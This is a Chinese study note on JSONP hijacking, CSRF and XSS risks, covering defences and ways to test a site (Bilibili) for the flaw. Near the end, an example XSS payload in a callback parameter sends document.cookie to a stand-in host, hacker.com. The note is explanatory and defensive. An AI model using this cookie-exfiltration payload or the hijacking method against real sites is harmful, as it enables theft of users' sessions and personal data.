2022.6.23 星期四 :
JSONP 全称是 JSON with Padding，JSONP可能会引起CSRF(Cross-site request forgery 跨站请求伪造)攻击或XSS (Cross Site Scripting 跨站脚本攻击)漏洞
对于支持JSONP的接口，写接口时数据可能会被篡改，读接口时数据可能会被劫持
json劫持
json劫持攻击又为”JSON Hijacking”，攻击过程有点类似于csrf，只不过csrf只管发送http请求，但是json-hijack的目的是获取敏感数据。
详解/过程
对于漏洞挖掘，我们首先需要尽可能的找到所有的接口，尤其是返回数据格式是JSONP的接口。(可以在数据包中检索关键词callback json jsonp email等，也可以加上callback参数，观察返回值是否变化)。
找到接口之后，还需要返回值包含敏感信息，并且能被不同的域的页面去请求获取(也就是是否存在refer限制,实际上，如果接口存在refer的限制，也是有可能被绕过的，计划以后的文章中再说)
预防
防护方案
- 1、严格安全的实现 CSRF 方式调用 JSON 文件：限制 Referer 、部署一次性 Token 等。
- 2、严格安装 JSON 格式标准输出 Content-Type 及编码（ Content-Type : application/json; charset=utf-8 ）。
- 3、严格过滤 callback 函数名及 JSON 里数据的输出。
- 4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
- 5、其他一些比较“猥琐”的方法：如在 Callback 输出之前加入其他字符(如：/**/、回车换行)这样不影响 JSON 文件加载，又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ，听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。
检测
测试是否存在JSONP劫持
方式一
正常重放以下数据包，看到个人信息正常返回。
修改Referer Referer: https://space.abilibili.com/9996xxx1 ，将space.bilibili.com改成space.abilibili.com，发现返回信息没有个人信息，意味着不存在JSONP劫持。
方式二
制作一个playload：
放在一个web站点，使用已经登陆B站的浏览器打开这个链接。如果控制台（Console）没有输出个人信息，也意味着不存在JSONP劫持。
代码原理：
自己模仿网站的jsonp请求，设置好一样的回调函数，这里只作输出展示，攻击者可以把信息发送到他的邮件
诱骗用户点击你的链接，脚本会自动去请求跨站链接，数据会打到回调接口里
PS: 还是要自检。
JSONP劫持与CSRF的相同与不同
利用上相同：
需要用户点击恶意链接
用户必须登陆该站点，在本地存储了Cookie
两个不同：
必须找到跨站请求资源的接口来实施攻击
CSRF只管发送http请求，但是Jsonp Hijacking的目的是获取敏感数据
xss
script.src='/pay?callback=yyy'
如果函数名yyy不是正常的函数名，而是一个script标签怎么办？例如：script.src='/pay?callback=<srcript>$.get("http://hacker.com?cookie="+document.cookie)</script>'
若返回的是脚本内容，则过滤之后会被替换成普通的文本格式，脚本将不会执行，则可以成功预防XSS攻击。
